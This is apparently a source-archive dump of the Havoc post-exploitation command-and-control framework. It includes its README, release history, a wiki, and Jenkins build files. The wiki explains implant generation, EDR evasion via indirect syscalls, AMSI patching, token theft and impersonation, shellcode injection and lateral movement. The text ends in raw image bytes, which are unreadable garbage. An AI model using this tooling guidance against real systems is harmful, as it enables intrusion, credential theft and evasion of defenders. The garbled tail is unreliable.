> :warning: Havoc is in an early state of release. Breaking changes may be made to APIs/core structures as the framework matures. ### Support Consider supporting C5pider on [Patreon](https://www.patreon.com/5pider)/[Github Sponsors](https://github.com/sponsors/Cracked5pider). Additional features are planned for supporters in the future, such as custom agents/plugins/commands/etc. ### Quick Start > Please see the [Wiki](https://github.com/HavocFramework/Havoc/wiki) for complete documentation. Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues. See the [Installation](https://havocframework.com/docs/installation) docs for instructions. If you run into issues, check the [Known Issues](https://github.com/HavocFramework/Havoc/wiki#known-issues) page as well as the open/closed [Issues](https://github.com/HavocFramework/Havoc/issues) list. --- ### Features #### Client > Cross-platform UI written in C++ and Qt - Modern, dark theme based on [Dracula](https://draculatheme.com/) #### Teamserver > Written in Golang - Multiplayer - Payload generation (exe/shellcode/dll) - HTTP/HTTPS listeners - Customizable C2 profiles - External C2 #### Demon > Havoc's flagship agent written in C and ASM - Sleep Obfuscation via [Ekko](https://github.com/Cracked5pider/Ekko), Ziliean or [FOLIAGE](https://github.com/SecIdiot/FOLIAGE) - x64 return address spoofing - Indirect Syscalls for Nt* APIs - SMB support - Token vault - Variety of built-in post-exploitation commands - Patching Amsi/Etw via Hardware breakpoints - Proxy library loading - Stack duplication during sleep.

#### Extensibility - [External C2](https://github.com/HavocFramework/Havoc/wiki#external-c2) - Custom Agent Support - [Talon](https://github.com/HavocFramework/Talon) - [Python API](https://github.com/HavocFramework/havoc-py) - [Modules](https://github.com/HavocFramework/Modules) --- ### Community You can join the official [Havoc Discord](https://discord.gg/z3PF3NRDE5) to chat with the community! ### Contributing To contribute to the Havoc Framework, please review the guidelines in [Contributing.md](https://github.com/HavocFramework/Havoc/blob/main/CONTRIBUTING.MD) and then open a pull-request! ### Note Please do not open any issues regarding detection. The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system. havoc-0.6~git20240910.69ce17c/RELEASE.md000066400000000000000000000045001467014221700166700ustar00rootroot00000000000000Because Havoc does not currently publish "releases" on GitHub, this document serves as a historical record of all major revision changes. This information was gathered from the Discord channel and is not all-inclusive of every change made. # Change History ## Version `0.2` | `Magician's Red` - added command 'shellcode execute' for self injection / execute shellcode in the current process - UI/UX Fixes (removed placeholders of Process list) - UI fix: you couldn't reopen process list / file explorer after closing them. Now you can. - added support for long running jobs / commands / modules. - fix some things in wiki. Commit: https://github.com/HavocFramework/Havoc/commit/31db84b432d57d7f5d234791455b18260f00cd40 ## Version `0.3` | `Hermit Purple` - added new session icons - added lateral movement command 'jump-exec psexec' - added lateral movement command 'jump-exec scshell' - added service executable payload - added new python api demon.ProcessCreate Commit: https://github.com/HavocFramework/Havoc/commit/db8c75f2510096d848999889f03263013eab3120 ## Version `0.4` | `Silver Chariot` - Chunked downloading of files - Threaded inline assembly execution (while sleep obf is still usable) - reverse port forwarding - webhooks for discord - smb agent fixes - bug fixes Commit: https://github.com/HavocFramework/Havoc/commit/d98f8b692b9c0fe79b6d153b6f34167589082789 ### Version `0.4.1` | `The Fool` - Socks4a Proxy - bug fixes - vuln fix in the service api (found by hyperreality) Commit: https://github.com/HavocFramework/Havoc/commit/133f6ead8085147dc39beb368c41aead2873927e ### Version `0.5` | `Emporer` - upgraded socks4a to socks5 - improved support for redirectors - 'Health' tab - add working hours - refactored BOF loader - add several default BOFs - add kill date - add sleep jitter - add kerberos native support - add incognito 'find-tokens' - add DLL reflective loader (Kayn) - refactor TS logs Commits/PR: https://github.com/HavocFramework/Havoc/pull/310 ### Version `0.6` | `Hierophant Green` - refactored/rewritten indirect syscalls (no more RX/RWX stubs) - proxy library loading - random order module & function resolving. - x86 demon implants. - cross process arch injection - AMSI/ETW patching using Hardware breakpoints - overall agent refactoring and bug fixes Push: https://github.com/HavocFramework/Havoc/pull/371 havoc-0.6~git20240910.69ce17c/WIKI.MD000066400000000000000000000660461467014221700162700ustar00rootroot00000000000000# Havoc Havoc is a modern and malleable post-exploitation command and control framework. #### Table of Contents - [Havoc](#havoc) - [Table of Contents](#table-of-contents) - [ Version History](#-version-history) - [0.2 / Magicians Red](#02--magicians-red) - [Known Issues](#known-issues) - [Kali Linux Font/Formatting Issues](#kali-linux-fontformatting-issues) - [Build Errors](#build-errors) - [`fatal error: Python.h: No such file or directory`](#fatal-error-pythonh-no-such-file-or-directory) - [`incomplete type ‘QTime’ used in nested name specifier`](#incomplete-type-qtime-used-in-nested-name-specifier) - [`Known compiler issue: [-] Couldn't compile implant: exit status 1`](#known-compiler-issue---couldnt-compile-implant-exit-status-1) - [Installation](#installation) - [ Local](#-local) - [Pre-requisites](#pre-requisites) - [Ubuntu 20.04 / 22.04](#ubuntu-2004--2204) - [Debian 10/11](#debian-1011) - [MacOS](#macos) - [Building the Client](#building-the-client) - [Building the Teamserver](#building-the-teamserver) - [ Docker](#-docker) - [ Jenkins Docker Build](#-jenkins-docker-build) - [ Creating a Listener, and Spawning an Agent](#-creating-a-listener-and-spawning-an-agent) - [Teamserver](#teamserver) - [ Starting the Teamserver](#-starting-the-teamserver) - [Arguments](#arguments) - [Enabling DEBUG Output](#enabling-debug-output) - [Profiles](#profiles) - [Teamserver](#teamserver-1) - [Operators](#operators) - [Demon](#demon) - [Listeners](#listeners) - [Client](#client) - [Starting the Client](#starting-the-client) - [Connecting to the Teamserver](#connecting-to-the-teamserver) - [Agents](#agents) - [Demon](#demon-1) - [Generating a Demon Payload](#generating-a-demon-payload) - [Layout](#layout) - [ Features](#-features) - [Indirect Syscalls](#indirect-syscalls) - [Commands](#commands) - [`checkin`](#checkin) - [`sleep`](#sleep) - [`job`](#job) - [`proc`](#proc) - [`token`](#token) - [`shellcode`](#shellcode) - [`dotnet`](#dotnet) - [ExternalC2](#externalc2) - [Custom Agents](#custom-agents) - [Python API](#python-api) - [Modules](#modules) - [FAQ](#faq) - [Why does Havoc not perform sleep obfuscation when jobs are running?](#why-does-havoc-not-perform-sleep-obfuscation-when-jobs-are-running) -------------------- ## Version History ### 0.2 / Magicians Red > Magician's Red (Majishanzu Reddo) is the Stand of Muhammad Avdol, featured in Stardust Crusaders. - Second public 'release' of Havoc. `0.1 / Star Platinum` > Named after the Stand of [Jotaro Kujo](https://jojo.fandom.com/wiki/Star_Platinum) in JoJo's Bizzare Adventure, Star Platinum was among the very first Stands introduced. - The first, public release of Havoc. --- ## Known Issues > See the Issues tab for all open issues. ### Kali Linux Font/Formatting Issues Kali has issues loading the proper font (Monaco) from the embedeed Qt resources file. _You will experience formatting issues in the Havoc client if you are not using a monospace/fixed-width font!_ ### Build Errors #### `fatal error: Python.h: No such file or directory` If you get an error that `Python.h` isn't found when building, you need to make sure Python 3.10 is installed and you have the Python 3.10 development files. If you are using Ubuntu LTS you may need to leverage a PPA such as `deadsnakes` to get a newer version of Python. ``` sudo apt install build-essential sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.10 python3.10-dev ``` #### `incomplete type ‘QTime’ used in nested name specifier` You probably need a newer version of Qt. If you are using Ubuntu try adding a backports ppa and installing the latest qt6 dev packages. Please see https://github.com/HavocFramework/Havoc/issues/95. #### `Known compiler issue: [-] Couldn't compile implant: exit status 1` Please see https://github.com/HavocFramework/Havoc/issues/105. --- ## Installation ### Local #### Pre-requisites > The immediate following is for Debian based Distros only. ``` sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm ``` #### Ubuntu 20.04 / 22.04 > You must enable Python 3.10 in your APT repositories before you can run the Client successfully. ``` sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.10 python3.10-dev ``` #### Debian 10/11 > You must setup the `bookworm` repo for Python 3.10. ``` echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list sudo apt update sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10 ``` #### Arch-based Distros ``` sudo pacman -S git gcc base-devel cmake fontconfig glu gtest spdlog boost boost-libs ncurses gdbm openssl readline libffi sqlite bzip2 mesa qt5-base qt5-websockets python3 nasm mingw-w64-gcc ``` #### MacOS > You must have [`homebrew`](https://brew.sh) installed. ``` brew install --cask cmake brew install python@3.10 qt@5 spdlog golang brew link --overwrite qt@5 ``` ### Building the Client Clone the repository: ``` git clone https://github.com/HavocFramework/Havoc.git ``` Build and Run: ``` # Build the client Binary (From Havoc Root Directory) make client-build # Run the client ./havoc client ``` > On macOS, run `brew unlink qt && brew link qt` after cmake build is done. > On WSL navigate to https://learn.microsoft.com/en-us/windows/wsl/tutorials/gui-apps and download the needed driver for the GUI to launch. ### Building the Teamserver Install additional Go dependencies: ``` go mod download golang.org/x/sys go mod download github.com/ugorji/go ``` Build and Run: ``` # Install musl Compiler & Build Binary (From Havoc Root Directory) make ts-build # Run the teamserver sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug ``` All files created during interaction with the Teamserver are stored within the `/Havoc/data/*` folder. ### Docker Build the Dockerfile with Jenkins: `sudo docker build -t havoc-client -f Client-Dockerfile .` Create data volume for persistence (optional): `sudo docker volume create havoc-c2-client` Run the container: `sudo docker run -p 443:443 -p 40056:40056 -it -d -v havoc-c2-client:/data havoc-client` Enter the container and run the Client: - NOT COMPLETE ### Jenkins Docker Build Build the Dockerfile with Jenkins: `sudo docker build -f JC-Dockerfile .` Run the container: `sudo docker run -p8080:8080 -it -d -v havoc-c2-data:/data havoc-client` Visit Jenkins at `localhost:8080` and create a pipeline to build the Havoc Teamserver. - See `Havoc-Teamserver.groovy` in the `assets` folder. ### Creating a Listener, and Spawning an Agent This part assumes you have a Teamserver running, with a Teamserver-client connected to the running instance. - Creating a Listener: 1. To create a new listener, we must first open the `Listeners` subwindow. * To do this, in the upper left hand corner, click on the `View` button, and then on the `Listeners` button in the drop down menu. * ![Listeners-select](./assets/Screenshots/Listeners-select.png) 2. You should see a new sub window in the bottom of the server window, with the title of `Listeners` on the header tab. 3. You should also now see three(3) buttons on the bottom of the server window, `Add`, `Remove` and `Edit`. * ![Listeners-Add-select](./assets/Screenshots/Listeners-Add-New-Remove.png) 4. We want to click the `Add` button. 5. Once we click the `Add` button, you should see a new window come up, with the title of `Create Listener`. * ![Listeners-New](./assets/Screenshots/Listener-new.png) 6. We will want to fill out the appropriate information for each field in the `Create Listener` window. 7. After entering the appropriate information into each field, then click the `Save` button. 8. The window will close, and you will now see a new line in the `Listeners` sub-window. * ![Listener-created](./assets/Screenshots/Listener-created.png) 9. We now have an active Listener, and are ready to receive an incoming agent's communications! - Spawning an Agent: 1. To create an Agent Payload, we must first open the `Payload` window. * We can do so by going up to the upper left hand corner, and clicking on the `Attack` button. 2. Doing so, we see the `Payload` button appear in the drop down menu. We want to then click on it. * ![Agent-select](./assets/Screenshots/Agent-select.png) 3. This will open the `Payload` window, where we may then configure the various options for generating our payload. * ![Agent-creation](./assets/Screenshots/Agent-create.png) 4. Once we have selected the appropriate options, we then click on the `Generate` button. 5. It might take a little bit for the compilation to take place. Once it has completed, it will prompt you as to where to save the resulting file output. 6. After selecting where to save the file, you will now have a generated agent ready for execution or injection! --- ## Teamserver The Havoc Teamserver is written in Golang. It handles the listeners, teamserver authentication and payload generation. It also supports ExternalC2 functionality through the configuration of Service endpoints. ### Starting the Teamserver Running `./teamserver server --profile ./profiles/havoc.yaotl -v --debug` will launch the built Teamserver with verbosity and debugging enabled. Data collected by the Teamserver is stored in the `/Havoc/data/*` directory. ### Arguments Usage: `teamserver [command] [flags]` Here is a full list of arguments that can be passed to the teamserver: | Command | Flag | Description | Args | | -------- | ---- | ----------- | ----- | | `server` |`--profile` | The configuration profile to load at start | Teamserver profile path (`string`) | | | `-v` / `--verbose` | Enable verbose output | | | | `-d` / `--debug` | Enable debug output | | | | `-h` / `--help` | Output server help | | | | `--debug-dev` | Enables DEBUG output (see below for caveats) | | #### Enabling DEBUG Output > DEBUG output can be enabled by passing the `--debug-dev` flag to the Teamserver. When this flag is set, the Teamserver's `builder` class adds the `-D DEBUG` flag to the `builder.compilerOptions.CFlags` array and removes the `-nostdlib` flag to enable output to be printed to the console. Demon agent payloads generated from the Havoc client will print visible DEBUG text in the console window after execution. The stdlib will be linked into the payload for this to occur, increasing the payload size. ### Profiles Havoc's Teamserver uses profiles in the `yaotl` format, which is a custom configuration syntax built on top of [HCL](https://github.com/hashicorp/hcl). Profiles are located at: `Havoc/Teamserver/profiles` and can be passed to the `teamserver` with the `--profile Teamserver The teamserver can be configured to listen on a specific bind address and port with the following directive: ```hcl Teamserver { Host = "0.0.0.0" Port = 40056 } ``` - `Host` - The bind address used by the teamserver to accept Client connections. - `Port` - The port the teamserver listens on for Client connections. #### Operators Multiple users can be added to the Teamserver with the Operators directive: ```hcl Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } ``` #### Demon The primary Demon agent accepts a number of configuration options such as: ```hcl Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Implant { SleepMask = 1 SleepMaskTechnique = 0 } Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } ``` - `Sleep` - The default interval to sleep between check-ins for commands. - `Jitter` - The amount of jitter to be applied to sleep intervals (in percentage). - `TrustXForwardedFor` - If true, the public IP of every agent will be set to the value of the X-Forwarded-For header. Only enable if the teamserver is behind a redirector - `Implant\SleepMask` - Enables the Sleep Mask obfuscation - `Implant\SleepMaskTechnique` - Chose from a variety of built-in sleep mask techniques: - `0` - [WaitForSingleObjectEx](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjectex) (no obfuscation) - `1` - [FOLIAGE](https://github.com/SecIdiot/FOLIAGE) - `2` - [Ekko](https://github.com/Cracked5pider/Ekko) - `Injection\Spawn64` - The full path to the process to spawn into for fork & run operations (64bit). - `Injection\Spawn32` - The full path to the process to spawn into for fork & run operations (32bit). #### Listeners > Currently, only HTTP/HTTPS listeners are supported. Havoc supports multiple listener profiles and a variety of configuration options to help customize them. ```hcl Listeners { Http { Name = "HTTPS Listener" KillDate = "2006-01-02 15:04:05" WorkingHours = "8:00-17:00" Hosts = ["10.0.0.10"] PortBind = 443 PortConn = 443 Method = "POST" Secure = true UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/funny_cat.gif", "/index.php", "/test.txt", "/helloworld.js" ] Headers = [ "X-Havoc: true", "X-Havoc-Agent: Demon", ] Response { Headers = [ "Content-type: text/plain", "X-IsHavocFramework: true", ] } } } ``` - `Name` - Name of the listener - `KillDate` - (Optional) Date in which the Demon will terminate itself in UTC - `WorkingHours` - (Optional) The hours in which Demon will check in - `Hosts` - The list of domains that Demon will use to reach the teamserver - `PortBind` - Port that the teamserver will bind to - `PortConn` - Port used by Demon to access the teamserver, if not set, PortBind is used - `Method` - Method to use while checking in (GET or POST) - `Secure` - true for HTTPS, false for HTTP - `UserAgent` - The User Agent that Demon will use - `Uris` - The paths that Demon will use. If more than one is provided, Demon chooses one at random each time - `Headers` - Request headers that Demon will include in all requests - `Response-Headers` - Response headers that the server will include in all responses --- ## Client The Havoc Client is written in C++ and Qt. ### Starting the Client ``` cd Havoc ./havoc client ``` Running `./havoc client` will start the Client. ### Connecting to the Teamserver When the client opens, you will be presented with a profile window similar to that in other C2 frameworks like Cobalt Strike. ![teamserver-client](./assets/Screenshots/Teamserver-Client-Fresh.png) Enter the profile name, teamserver bind address (`Host`) and `Port`, along with your defined username/password in the teamserver profile. Then hit 'Connect' to connect your configured teamserver. ![teamserver-and-client](./assets/Screenshots/Teamserver-LoggedIn.png) --- ## Agents ### Demon Demon is the primary Havoc agent, written in C/ASM. The source-code is located at `Havoc/payloads/Demon`. #### Generating a Demon Payload > Currently, only x64 EXE/DLL formats are supported. From the Havoc UI, nagivate to `Attack -> Payload`. #### Layout | Directory | Description | | --------------- | ----------------------------------------------------- | | `Source/Asm` | Assembly code (return address stack spoofing) | | `Source/Core` | Core functionality (transport, win32 apis, syscalls) | | `Source/Crypt` | AES encryption functionality | | `Source/Extra` | KaynLdr (reflective loader) | | `Source/Inject` | Injection functionality | | `Source/Loader` | COFF Loader, Beacon API | | `Source/Main` | PE/DLL/RDLL Entry Points | #### Features ##### Indirect Syscalls When compiled with `OBF_SYSCALL`, Demon performs indirect syscalls for many Nt* APIs. By masquerading the `RIP` to point to a location within `ntdll.dll`, traps placed by EDR solutions (such as process instrumentation callbacks or other forms of sycall tracing)may be evaded. The Syscall logic is primarily contained within `/Teamserver/data/implants/Demon/Source/Core/Syscalls.c` Syscall stubs are dynamically crafted from ntdll.dll on disk and modified so the return address points to `NtAddBootEntry (0x180024b6)` within the ntdll.dll module. #### Commands Demon has a variety of commands built-in. It also supports the dynamic modification of configuration at runtime, allowing operators to customize defaults pre-set in the profiles throughout an engagement, without modifying the profile and re-generating a payload. Full documentation on commands can be accessed from the Havoc client by typing `help` in the interact window. For more information on a particular command, simply tack it on the end of help like so: `help [command]` ##### `checkin` Requests a checkin request from the Demon. This will output some basic system/configuration information to the Havoc client such as: - Demon Metadata - Magic values - First/Last call in timestamps - AES Key and IV - Sleep Delay - Host Information - Hostname - Username - Domain Name - Internal IP(s) - Process Information - Name - Architecture - PID - Path - Elevated - Operating System - Version - Build - Architecture ##### `sleep` Demon supports sleeping at a specified delay (seconds) with a randomized jitter amount applied in the profile configuration settings. `sleep [delay]` When the Demon sleeps, it first checks if Sleep Masking is enabled in the profile configuration. If so, as long as there are no active job threads running, it will begin to apply the specified sleep obfuscation method and wait until the provided delay to "wake up" and check-in to the teamserver again. During sleep, x64 demons may implement [return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) to hide the real return address. ##### `job` Demon implements a multi-threaded job management system that allows the operator to manage long-running tasks. > OPSEC NOTE: Long-running jobs will PREVENT sleep obfuscation from occurring at the specified sleep interval due to the other threads running. Sleep obfuscation will only occur when there are no job threads in a running state. - `job list` - Lists all running jobs. - `job suspend 1` - Suspends a job with the ID of 1 - `job resume 1` - Resumes a job with the ID of 1 - `job kill 1` - Kills a job with the ID of 1 ##### `proc` Process management and enumeration system. `proc [command]` - `proc list` - Display a list of running processes on the target. - `proc kill [pid]` - Kills a process with the specified PID - `proc create [state] [process] (args)` Start a process either in suspended or normal mode. - `proc module [pid]` lists loaded modules from the specified process. - `proc grep [process name]` searches for specified running process and shows Process Name, Process ID, Process Parent PID, Process User, Process Arch - `proc memory [pid] [memory protection]` queries process memory pages with specified Protection. ##### `token` Demon implements a token management vault that allows for token theft, impersonation and privilege modification. All tokens are preserved within a token vault, allowing the operator to list and impersonate any stolen token when convenient. > Tokens are duplicated using `SecurityIdentification` and `SecurityImpersonate` privileges, allowing `OpenThreadToken` to work on impersonated UIDs with OpenAsSelf set to TRUE. - `token getuid` - Prints the current user id from the token - `token list` - List all stolen tokens in the token vault - `token find-tokens` - Find all tokens that can be stolen on the system - `token steal [pid] (handle)` - Steal the token from the specified PID and save it to the token vault - `token impersonate [id]` - Impersonate a token from the token vault - `token make [domain] [username] [password]` - Creates a token from the specified credentials and adds it to the vault - `token privs-get` - Attempt to acquire all privileges from the current token - `token privs-list` - List all privileges from the current token - `token revert` - Reverts back to the default process token - `token remove [id]` - Removes a token from the vault - `token clear` - Removes all tokens from the vault. ##### `shellcode` Demon is capable of injecting shellcode (supplied in raw format as a path) into remote processes using process injection or fork & run. Depending on the technique, operators can chose to use higher-level Win32 APIs or NT versions using indirect syscalls. - `shellcode inject x64 [pid] [path-to-raw-shellcode]` - Injects shellcode into the remote process - `shellcode spawn x64 [path-to-raw-shellcode]` - Launches the defined fork & run process and injects the shellcode > OPSEC NOTE: Depending on your injection technique and configuration settings, certain API calls may be performed outside of indirect syscalls. Here is a high-level overview of each supported process injection technique: > `*` means the API call is performed with indirect syscalls **`INJECTION_TECHNIQUE_SYSCALL`** 1. `CreateProcessA` 2. Allocate Memory - `DX_MEM_WIN32 -> VirtualAllocEx` - `DX_MEM_SYSCALL -> NtAllocateVirtualMemory*` 3. `NtWriteVirtualMemory*` 4. `NtProtectVirtualMemory*` 5. Create Thread - `DX_THREAD_WIN32 -> CreateRemoteThread` - `DX_THREAD_SYSCALL -> NtCreateThreadEx*` 6. `NtResumeThread*` ##### `dotnet` - `dotnet list-versions` - Lists all of the installed dotnet versions - `dotnet inline-execute [path-to-assembly] [args]` - Executes the dotnet assembly inside of the current process and returns output > OPSEC NOTE: Calling `inline-execute` creates an instance of the CLR (Common Language Runtime) within the demon's process to execute dotnet assemblies. This is an irreversible procedure and may provide more IoCs to defenders. The `inline-execute` works by first creating an instance of the CLR (Common Language Runtime) within the current Demon process. After the CLR is created, `amsi.dll` is loaded and patched in-memory to bypass AMSI scanning. Demon then creates an AppDomain and loads the assembly into memory, finding the entry point and passing the commandline args supplied by the user before invoking the method. Output from the assembly is captured and returned to the teamserver. (INCOMPLETE) --- ## ExternalC2 Havoc supports custom agents and ExternalC2 by using Teamserver service endpoints. These are configured using `Service` directives (see the Teamserver Profiles documentation). The Service module is for interacting with external services (custom agents, ExternalC2, etc). By registering a Service directive, the Teamserver will automatically spawn a service listener that can route commands to/from the Teamserver. ```hcl Service { Endpoint = "service-endpoint" Password = "service-password" } ``` This would create a service endpoint at `:/service-endpoint` that is authenticated with `service-password`. ## Custom Agents Using Havoc's Service API, custom, third-party agents can be written to interact with the teamserver using the intermediate Python API. An example of a third-party agent is provided here: [https://github.com/HavocFramework/Talon](https://github.com/HavocFramework/Talon) `Talon.py` connects to the Teamserver over the `Endpoint` defined in the `Service` directive of the teamserver profile. ```python from havoc.service import HavocService from havoc.agent import * class MyCustomAgent(AgentType): # ... pass agent = MyCustomAgent() havoc_service = HavocService( endpoint="ws://0.0.0.0:40056/service-endpoint", password="service-password" ) havoc_service.register_agent(agent) ``` Custom commands can be defined using the Python API and extending the Command class: ```python class CommandShell(Command): CommandId = COMMAND_SHELL Name = "shell" Description = "executes commands using cmd.exe" Help = "" NeedAdmin = False Params = [ CommandParam( name="commands", is_file_path=False, is_optional=False ) ] Mitr = [] def job_generate( self, arguments: dict ) -> bytes: Task = Packer() Task.add_int( self.CommandId ) Task.add_data( "c:\windows\system32\cmd.exe /c " + arguments[ 'commands' ] ) return Task.buffer ``` --- ## Python API [https://github.com/HavocFramework/havoc-py](https://github.com/HavocFramework/havoc-py) --- ## Modules Aside from Havoc's built-in commands, Modules can be loaded into the framework to add more functionality. An example of some of Havoc's official modules can be found at this repository: [https://github.com/HavocFramework/Modules](https://github.com/HavocFramework/Modules) Module Template: [https://github.com/HavocFramework/Modules/tree/main/Template](https://github.com/HavocFramework/Modules/tree/main/Template) Official Modules: - Powerpick - Executes unmanaged PowerShell commands by loading the CLR runtime (`4.0.30319`) into the designated fork & run process. - InvokeAssembly - Executes a dotnet assembly into a separate process by bootsrapping the CLR into the designated fork & run process and passing the arguments. - The dotnet version can be specified in the arguments (`v4.0.30319` is default), as well as the AppDomain name (`DefaultAppDomain` is default). --- ## FAQ ### Why does Havoc not perform sleep obfuscation when jobs are running? Jobs are ran in their own threads, and sleep obfuscation requires that all threads are suspended in order to encrypt the heap, otherwise the process would crash. --- havoc-0.6~git20240910.69ce17c/assets/000077500000000000000000000000001467014221700165715ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/assets/Havoc-Client.groovy000066400000000000000000000025161467014221700223200ustar00rootroot00000000000000pipeline { agent any environment { TEST="ENV vars go here" TOOLNAME="HavocFramework" } stages{ stage('Cleanup'){ steps{ deleteDir() dir("${TOOLNAME}"){ deleteDir() } } } //Local // stage('Add-Havoc'){ // steps{ // sh "pwd && ls" // sh "cp -R /Build/* ${WORKSPACE}/" // } // } //Remote stage('Git Havoc'){ steps{ sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git' } } stage('Build-1-make clean'){ steps{ sh "cd ./Havoc/Client/ && make clean" } } stage('Build-2-make build dir'){ steps{ sh "mkdir cd ./Havoc/Client/Build && cd ./Havoc/Client/Build && cmake .." } } stage('Build-3-make Build'){ steps{ sh "cd ./Havoc/Client/ && cmake --build Build" } } stage('Sanity-Check'){ steps{ sh 'file ./Havoc/Client/Havoc' } } } } havoc-0.6~git20240910.69ce17c/assets/Havoc-Teamserver.groovy000066400000000000000000000023621467014221700232160ustar00rootroot00000000000000pipeline { agent any environment { TEST="ENV vars go here" TOOLNAME="HavocFramework" } stages{ stage('Cleanup'){ steps{ deleteDir() dir("${TOOLNAME}"){ deleteDir() } } } //Local // stage('Add-Havoc'){ // steps{ // sh "pwd && ls" // sh "cp -R /Build/* ${WORKSPACE}/" // } // } //Remote stage('Git Havoc'){ steps{ sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git' } } stage('Install-MUSL C compiler'){ steps{ sh "pwd && ls" sh "cd ./Havoc/Teamserver/ && chmod +x ./Install.sh && ./Install.sh" } } stage('Build'){ steps{ sh "pwd && ls" sh "cd ./Havoc/Teamserver/ && make" } } stage('Sanity-Check'){ steps{ sh 'file ./Havoc/Teamserver/teamserver' } } } } havoc-0.6~git20240910.69ce17c/assets/Havoc.png000066400000000000000000000213641467014221700203450ustar00rootroot00000000000000PNG  IHDR\rf pHYso% IDATx]K7{bV`"!;{ρfffǬ}xH raR Q:)ٯ1e3X`D fffG,r9H2vh!ANa`Chkr& *޿6<Ǽ7`׍1B333\jS$6 ڥ8N[l8*NLj@ʈM`˖-\TaH11ޠ+ArCR 9^H 1^ - P>TlDrPʧ;T1?WF*K}98m*X{.Bv=Nq:@ c<{M zS[lY]#5ПUA}ڵ}gʿyO*x![.F#"6(7ЏOdHMMMyQuzfrRTJ8OMM-щn:W=سa뮒frJs0#=;55518 {Ǘ"5H hc5lݺukIj@^IjodBVPI?"9H L}[`,;(AZ0;;e?RrHΩ)݆`vvv~S˗Aj@f *n/Ԁ *h$@j@RrM:.*A-b/ԀԠ!u tEmgCdӷ=Re¶g;I;گ6H Aj`H>m\^dHj ͔ )@"DJ8餓 WȤ!9RpH.d#]Tp˹.}qWۅCleeEj1*MK!U)Գ>Ǐƞ={9õi_' aqc:FN'AϏpG:B)k))$#a }%BaԗpI',#H) Z.@,] RiButjH xŽ^Osp'i6#5CWT<;EO rL}9rS1DKb>O>0t5η7@%U-.lR@Ԁ08c`n G6x8 m-e{} >N*/B_ BRlI!1x†0`b,{Ԁ-zbSc:4tՀo{ ";tj P01E1l$m۶-jRU; lX 5ZtkjEDRBj`zcٜCjԀCS@/tP.Ԁ};O|~jnnn!cV\F9RWHB4!(Ɇ|#5I G  Fc%H ӆ _.( v'/>}]u#ю@FN.}8iE!@w1RQPrn ' L 2CQ>@ t053h#fnjBm6[a @6ו[Qb=̴?5*U lrpLRyh_9br\PLNj > #fǦ(] $H a2R6ˑKI %s=m߮]b}L1lY hFp_Wo̵%}g\P %9v뭷W_}]y啓/@JJu?q%W^yeB۶m]>5P45` :RعsD?3N㎳*gPب#uGs96pN]/81; ?5jH;+k+^+9,n~Rb\k. |;:0o}"12c"oczyҧ빮6_RK{M҆"B16ھI_J 2=sI Y{ao󯭭G_2;|8tBbA l2aORn}:V\so׿5VWWc:Aj `kd3e 16djrn$"%;gy&/3 kAXҶ"u- "e5Ǭn M.b Y_ G}TZW`jԀpIlOr[n᎙q~X_C k Rjp`3R~S NrO掙q>eejXs!B ?bBwV1δ?mH6q玙rUI_Nѐwͨ9r;H|b}OV[`!'W☶VJ i wLmƏ8 >WBWaj j@Loq>ߕOj 65Rso5Pe@^dc*3yNxHH6H}z}t*$lČ/-He&dI v)wMڅ&]gZH} p%!p|Uns 챀V@{jj 5d1dַ qid`B AlrPT?R~w=η#|zyX!˄X6 -#A:f}{1廐c lۖAj̦/{Ex 3S<ز1H6ƒf!\;D=FH}8U{ ɧ"f!a`H{ }v 7Lbl.B !8Ԁ)l>۪}3wY#^p|zH ȑ H hγ{lyrm%6|1 d.Pob VZ޷8ozBI~}ڂ6 49$e!1|H}8 F՞]wAB]{0R^mlƶg 8=ƲڻO.vNN#h"{ol^;lX jxɹT<*]pW?/Of59.;ۇ|8K*6DmL kK/?'ZN<8 Xe׿n SO?+ XuPA6NݾeƤov+T6|#|"|3˗#}H.6W2!!TĆ$ A]/@Bx_fRz0"0I{8p0C.j ,1]7MD牀'!Uv%آ쭷޲~056i@`ԮM{1BoT"FBM6&LC>EkcRq͹]ur)N1t؎޶sm6&U.dcR>x |8_*6|8hDO5^K<8>6`vFO%]˚UFXuCF)#1^1ЃE c77yژF$]D!ImA`9s7&E) D^|$dӷCVA@f[zH n> PmL= $dC#mڙMˬnrf؇~97٘T=ژTYCф^p`7b}ُzbzYbһ=ژԤow34(- D=/ inLj3F$>|SPHFމJl`j fq5[1}mLB jgj7FI!t.Ώ8duƈ7|q-xTEC@9CԘ #o1isXC5ίx?2Wcn/RFY͍Imn*,}&h wjrI \Մ"xs]Cqa@@Džu5R' CS 9 Yg36&LڳklH6"$d.\aR_ )R \3kB 3-t[@B.`o>Cr:@\ᰈ]gZ8-lfZN6xIW \e`6%CSp4q'$&QH6:$ԧ#Q $Ol j3ke=(8_5&>* 